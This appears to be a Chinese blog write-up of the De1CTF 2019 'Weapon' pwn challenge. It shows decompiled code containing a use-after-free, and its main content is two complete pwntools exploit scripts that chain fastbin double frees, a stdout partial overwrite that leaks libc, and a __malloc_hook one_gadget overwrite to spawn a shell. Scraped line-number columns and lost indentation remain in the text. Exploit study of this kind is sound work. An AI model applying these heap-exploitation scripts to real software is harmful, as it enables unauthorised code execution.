weapon

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 sub_CBB()
{
signed int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("input idx :");
v1 = sub_AAE();
if ( v1 < 0 && v1 > 9 )
{
printf("error");
exit(0);
}
free(*((void **)&unk_202060 + 2 * v1));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

一个uaf漏洞 我就看到了这些 尴尬

0x02 思路分析

1
2
3
4
5
1.double free使得heap可控

2.利用unsorted bin留下的脚印爆破stdout,改stdout泄露地址

3.劫持hook

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
还不是很懂
原文:https://github.com/De1ta-team/De1CTF2019/tree/master/writeup/pwn/Weapon
第一
制作一个假的0x80(超过那个没问题)chunk并释放它。所以我们可以在fd中获取libc然后编辑stdout的结构来泄漏。最终得到shell。

from pwn import *
def cmd(c):
p.sendlineafter(">> \n",str(c))
def Cmd(c):
p.sendlineafter(">> ",str(c))
def add(size,idx,name="padding"):
cmd(1)
p.sendlineafter(": ",str(size))
p.sendlineafter(": ",str(idx))
p.sendafter(":\n",name)
def free(idx):
cmd(2)
p.sendlineafter(":",str(idx))
def edit(idx,name):
cmd(3)
p.sendlineafter(": ",str(idx))
p.sendafter(":\n",name)
def Add(size,idx,name="padding"):
Cmd(1)
p.sendlineafter(": ",str(size))
p.sendlineafter(": ",str(idx))
p.sendafter(":",name)
def Free(idx):
Cmd(2)
p.sendlineafter(":",str(idx))

#p=process('./pwn')
p=remote("139.180.216.34",8888)
#context.log_level='debug'
add(0x18,0)
add(0x18,1)
add(0x60,2,p64(0x0)+p64(0x21)+'\x00'*0x18+p64(0x21)*5)
add(0x60,3,p64(0x21)*12)
add(0x60,4)
add(0x60,5)
free(0)
free(1)
free(0)
free(1)

add(0x18,0,"\x50")
add(0x18,0,'\x00'*8)
add(0x18,0,"A")

add(0x18,0,'GET')

edit(2,p64(0x0)+p64(0x91))
free(0)

add(0x18,0)
add(0x60,0,'\xdd\x25')

free(2)
free(5)
free(2)
free(5)

#gdb.attach(p,'')
add(0x60,4,'\x70')
#
add(0x60,0)
add(0x60,0)
add(0x60,0)
add(0x60,0,'\x00'*(0x40+3-0x10)+p64(0x1800)+'\x00'*0x19)
p.read(0x40)

base=u64(p.read(6).ljust(8,'\x00'))-(0x7ffff7dd2600-0x7ffff7a0d000)
log.warning(hex(base))
#raw_input()
libc=ELF("./pwn").libc
Add(0x60,0)
Add(0x60,1)
Add(0x18,2)
Free(0)
Free(1)
Free(0)
Add(0x60,0,p64(libc.sym['__malloc_hook']+base-35))
Add(0x60,0)
Add(0x60,0)
one=0xf02a4
Add(0x60,0,'\x00'*19+p64(one+base))

Free(1)
Free(1)

p.interactive()


第二
当我们使用scanf输入一些内容。如果你输入了很多东西,它会将一个0x400块进行malloc暂时保存。如果我们保留一些fastbin,当malloc.it将被放入smallbin.now我们也有libc地址。

from pwn import *
context.log_level = "debug"
#p = process("./weapon")
p = remote("139.180.216.34",8888)
elf = ELF("./weapon")
a = elf.libc
#gdb.attach(p)
def create(idx,size,content):
p.recvuntil(">> \n")
p.sendline(str(1))
p.recvuntil("weapon: ")
p.sendline(str(size))
p.recvuntil("index: ")
p.sendline(str(idx))
p.recvuntil("name:")
p.send(content)
def delete(idx):
p.recvuntil(">> ")
p.sendline(str(2))
p.recvuntil("idx :")
p.sendline(str(idx))

def edit(idx,content):
p.recvuntil(">> ")
p.sendline(str(3))
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("content:\n")
p.send(content)

create(0,0x60,"a")
create(1,0x60,"b")
create(2,0x60,"c")
delete(0)
delete(1)
p.recvuntil(">> ")
p.sendline("1"*0x1000)
create(3,0x60,"\xdd\x25")
create(4,0x60,"e")
delete(2)
delete(1)
edit(1,"\x00")
create(5,0x60,"f")
create(6,0x60,"f")
file_struct = p64(0xfbad1887)+p64(0)*3+"\x58"
create(7,0x60,"\x00"*0x33+file_struct)
libc_addr = u64(p.recvuntil("\x00",drop=True)[1:].ljust(8,"\x00"))-a.symbols["_IO_2_1_stdout_"]-131
print hex(libc_addr)
delete(6)
edit(6,p64(libc_addr+a.symbols["__malloc_hook"]-0x23))

create(8,0x60,"t")

create(9,0x60,"a"*0x13+p64(libc_addr+0xf1147))
p.recvuntil(">> \n")
p.sendline(str(1))
p.recvuntil("weapon: ")
p.sendline(str(0x60))
p.recvuntil("index: ")
p.sendline(str(6))

p.interactive()
0%